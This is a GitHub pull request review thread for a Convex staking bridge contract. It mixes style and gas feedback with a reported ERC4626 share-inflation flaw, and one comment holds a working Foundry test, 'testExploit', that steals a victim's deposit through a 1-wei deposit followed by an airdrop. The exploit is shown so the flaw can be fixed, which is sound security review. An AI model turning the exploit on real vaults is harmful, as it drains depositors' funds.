-
Notifications
You must be signed in to change notification settings - Fork 147
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Convex Staking Bridge #315
base: master
Are you sure you want to change the base?
Convex Staking Bridge #315
Conversation
Thanks for putting in effort on the docs 👍 Was very helpful for context. Food for thought:
Docs:
Informational
Bugs
|
@LHerskind @Cheethas Thank you, guys, for your feedback! Below I left you some of my answers. Thanks for putting in effort on the docs 👍 Was very helpful for context. Food for thought: Relies on the rollup already having access to Curve LP tokens, which it does not have currently, no curve lp bridge listed. This could impact how the overall design works and we should discuss it further.
Docs:
Informational
Inconsitent ordering of constants, immutables and storage. Use constants, then immutables, then storage.
Inconsistent branching due to MIN_CRV_SWAP_AMT etc. Because it is not know at time of gas-payment, the user would need to always pay for the more expensive of the flow. With this in mind, I'm not sure if it really makes sense to handle these cases separately as the user could be paying as if they happened anyway.
For receive its unclear what subsidy is referring to? The subsidy contract that we have setup doesn't transfer funds directly to the bridge but rather to the rollup provider. (We should clarify this in our docs it can be a bit confusing)
Can you add some comments to _loadExchangePools. It's tricky to follow. Can we use named constants for the constants addresses etc. Why is 6 elements loaded into memory and many values put on the stack that would never change, and often be unused?
The revert case for PoolAlreadyLoaded() should be moved to the top of the call to fail as early as possible.
Also consider emitting an event when setting up.
We can save gas by using values that have been saved in memory rather than using storage for them.
Try catch will fail on non-code addresses which makes it tricky for the try catch usecase (lol solidity things).
Rather than using custom errors when swap a swap fails could we bubble up the curve error messages?
Can we refactor uses of addresses to be constants to avoid magic numbers in the code?
Can we add a test that shows the bridge working in the case the underlying pool is shutdown?
_swapReardsToCurveLpToken can be weird to read with exchangedAmt being changed throughout the swaps, over time possibly be denominated in different assets throughout. hard to follow with the way the loops are written, where `
supportedPools storage is newer updated or used in contract, consider removing it.
For consistency in the repo can we change the order of the functions. The linter should have give some warnings with internal functions before public etc.
Bugs [!] Vulnerability, possible loss of funds. One to look out for when doing 4626 accounting. The same issue can be seen documented in solmate as 🔒 Prevent ERC4626 share price inflation transmissions11/solmate#178. An attacker can exploit this "cheaply" for the stable coin pools. Often bridge interactions <10K, so cost would not be that high.
|
1e0c829
to
b68aa1c
Compare
Two tests from another bridge are failing. |
Should be fixed now. Pinned to a point that had liquidity. |
Here is the exploit in test form. Running the snippet will give you: [PASS] testExploit() (gas: 9716760)
Logs:
bridge token balance : 0.000000000000000000
##Deposit 1 wei
bridge token balance : 0.000000000000000001
##Airdrop 10e18
bridge token balance : 10.000000000000000001
##Other guy deposits 1e18
bridge token balance : 11.000000000000000001
attacker token balance: 0.000000000000000001
user token balance : 0.000000000000000000
##Attacker exits with his 1 wei
bridge token balance : 0.000000000000000000
curve lp tokens exited: 11.000000000000000001 As you can see, after the attacker has airdropped tokens into the contract a deposit that is smaller would simply divide and round down to 0. Instead the attacker can leave with those funds as well. A well funded attacker can quite easily steal most deposits. The issue comes from internal and external accounting being mixed while the mixed can be influenced externally without being the bridge itself. function testExploit() public {
uint256 _depositAmount = 1e18;
uint256 poolId = supportedPids[0];
address rewardPool = 0x192469CadE297D6B21F418cFA8c366b63FFC9f9b;
address stakingToken = 0xAF1d4C576bF55f6aE493AEebAcC3a227675e5B98;
address attacker = address(0xf00);
_setupBridge(poolId);
_mockInitialRewardBalances(false);
_loadPool(poolId);
_setupRepresentingConvexTokenClone();
_setupSubsidy();
emit log_named_decimal_uint("bridge token balance ", IERC20(rewardPool).balanceOf(address(bridge)), 18);
// Deposit 1 wei
emit log("##Deposit 1 wei");
_deposit(1);
emit log_named_decimal_uint("bridge token balance ", IERC20(rewardPool).balanceOf(address(bridge)), 18);
// Transferring here to easier show the exploit.
IERC20(rctClone).transfer(attacker, IERC20(rctClone).balanceOf(address(this)));
// Attack
vm.startPrank(attacker);
emit log("##Airdrop 10e18");
uint256 attackAmount = 10e18;
deal(curveLpToken, attacker, attackAmount);
IERC20(curveLpToken).approve(BOOSTER, attackAmount);
IConvexBooster(BOOSTER).deposit(poolId, attackAmount, false);
uint256 balance = IERC20(stakingToken).balanceOf(attacker);
IERC20(stakingToken).approve(rewardPool, type(uint256).max);
rewardPool.call(abi.encodeWithSignature("stakeFor(address,uint256)", address(bridge), balance));
emit log_named_decimal_uint("bridge token balance ", IERC20(rewardPool).balanceOf(address(bridge)), 18);
vm.stopPrank();
emit log("##Other guy deposits 1e18");
_deposit(_depositAmount);
emit log_named_decimal_uint("bridge token balance ", IERC20(rewardPool).balanceOf(address(bridge)), 18);
emit log_named_decimal_uint("attacker token balance", IERC20(rctClone).balanceOf(attacker), 18);
emit log_named_decimal_uint("user token balance ", IERC20(rctClone).balanceOf(address(this)), 18);
emit log("##Attacker exits with his 1 wei");
vm.prank(attacker);
IERC20(rctClone).transfer(address(this), 1);
_withdraw(1);
emit log_named_decimal_uint("bridge token balance ", IERC20(rewardPool).balanceOf(address(bridge)), 18);
emit log_named_decimal_uint("curve lp tokens exited", IERC20(curveLpToken).balanceOf(address(this)), 18);
} |
Hi @LHerskind and thank you for the demo. I finally understand where the inflation is coming from! I'll look into it closer in the coming days |
11c3db8
to
ed8d0c6
Compare
Vulnerability fixed ✓
|
Hi @VojtaKai, I looked at the changes, and think that your solution limits the issue. However, the rounding cases are not reached by your code, so they should be removed. // initial: bridgeTokenBalance: 1e16, RCTSupply: 1e16.
// Deposit 1 wei,
shares = (1 * RCTSupply) / bridgeTokenBalance; ~ 1
// bridgeTokenBalance = 1e16 + 1, RCTSupply = 1e16 + 1
// Airdrop 1e24 tokens ~ 1 million tokens
// bridgeTokenBalance = 1e24 + 1e16 + 1, RCTSupply = 1e16 + 1
// Next victim deposit of 1e18
shares = (1e18 * 1e16) / (1e24 + 1e16 + 1); ~ 9999999900
// bridgeTokenBalance = 1e24 + 1e18 + 1e16 + 1, RCTSupply = 1e16 + 9999999901
// Withdrawing 9999999900 should give
amount = (9999999900 * 1e24 + 1e18 + 1e16 + 1) / (1e16 + 9999999901)
amount ~ 0.99999899e18
Doing a deposit of 1e24 requires a substantial amount of funds, and with the gain being so tiny, probably not worth it. The liquity bridge is doing something similar (opening the initial trove requires debt of a certain size). Some nits. The most important being related to gas usage. Can you make a provide separate deposit and withdraw limits instead of putting it under the same "convert"? When perfoming a bridge interaction, the caller is specifying the bridge address id (and thereby the gas amount to use) if this bridge is set with 2M, a sequencer will require users to pay 2M because that is the amount of gas "it might spend" on the execution. Therefore it is better two have two flows if one of the branches always cost <1M as an example.
|
Hi @LHerskind, I'll leave my answers and questions again underneath your comments Hi @VojtaKai, I looked at the changes, and think that your solution limits the issue. However, the rounding cases are not reached by your code, so they should be removed.
Did you think about requiring a "sacrifice" of the lp tokens when adding it to the bridge? 😄 It feels a bit clunky to add "magic numbers" in the code. Example of sacrificing 1e16.
// initial: bridgeTokenBalance: 1e16, RCTSupply: 1e16. // Withdrawing 9999999900 should give
Doing a deposit of 1e24 requires a substantial amount of funds, and with the gain being so tiny, probably not worth it.
The liquity bridge is doing something similar (opening the initial trove requires debt of a certain size).
Some nits. The most important being related to gas usage. Can you make a provide separate deposit and withdraw limits instead of putting it under the same "convert"? When perfoming a bridge interaction, the caller is specifying the bridge address id (and thereby the gas amount to use) if this bridge is set with 2M, a sequencer will require users to pay 2M because that is the amount of gas "it might spend" on the execution. Therefore it is better two have two flows if one of the branches always cost <1M as an example.
[i] In the figures, there are still "jumps" that are not clear, e.g., "convex" staking at 7 stakes in curve lp tokens, then convex lp token without interacting mints lp tokens to the convex convex booster, and later bridge returns RCT, but nothing directly initiated the RCT transfer.
[i] Formatting wise, in Deposit (Staking) a list would probably make sense when you are going through it step by step to make it clearer. Really this sounds like something a sequencer diagram would do well for? You can check out https://sequencediagram.org/ or https://play.d2lang.com/.
[i] The RCT is a share of the assets held by the bridge.
[?] For Withdrawal (Unstaking) What do you mean with input and output, is this that the RCT and output curve LP?
[i] You should point out that the $160 values is at a specific time.
[?] What is SC that you mention in Introduction of inflation protection mechanism?
[i] Remove significantly from Most affected users by a potential attack are those staking significantly (and almost suspiciously) low deposits. it does not really fit in and makes it sound like it is large value.
[?] I'm not fully following, the inflation ratio is impacted by initial deposits. Why only initial, should more be on value? Do you mean that it is easy to impact as long as there are not a lot of funds in the contract? You are essentially increasing the funds required to attack by 1e10?
[i] You are passing totalSupplyRCT into _toShares() just after checking that it is 0, jut insert zero to make it clear that the value is 0.
[?] Why is there a roundup on any of the functions when they will never be used?
[i] Please following the naming standards for arguments and prepend _
|
Just saw this from Open Zeppelin OpenZeppelin/openzeppelin-contracts#3979, solutions looks pretty similar to the one you ended with and linked from yield. With the direct use of muldiv it looks a bit cleaner.
You should not be rounding up for deposits. When rounding up the number of shares giving back, you might give out value you don't have, later on you can end up in a rounding error when trying to withdraw. Take a look at how it is done in the ERC4626 spec.
Also meant the 1e10
The example I wrote where if it was sacrificed, e.g., cannot be withdrawn.
Exactly. This is done for yearn, where deposits are consistently cheap, but a withdraw can be expensive if it needs to unwind the position.
I have normally only seen significantly about "large" or "large enough" values, so just seemed out of place.
Was inside your new toShares and toAmount. |
|
…roundup option removed
8ca8ede
to
3234cf9
Compare
Hi @LHerskind, @Cheethas
Does that mean that Curve LP token is not going to be on the input / output? Which token will be then? |
Description
Please provide a paragraph or two giving a summary of the change, including relevant motivation and context.
Checklist:
forge coverage --match-contract MyContract
returns 100% line coverage.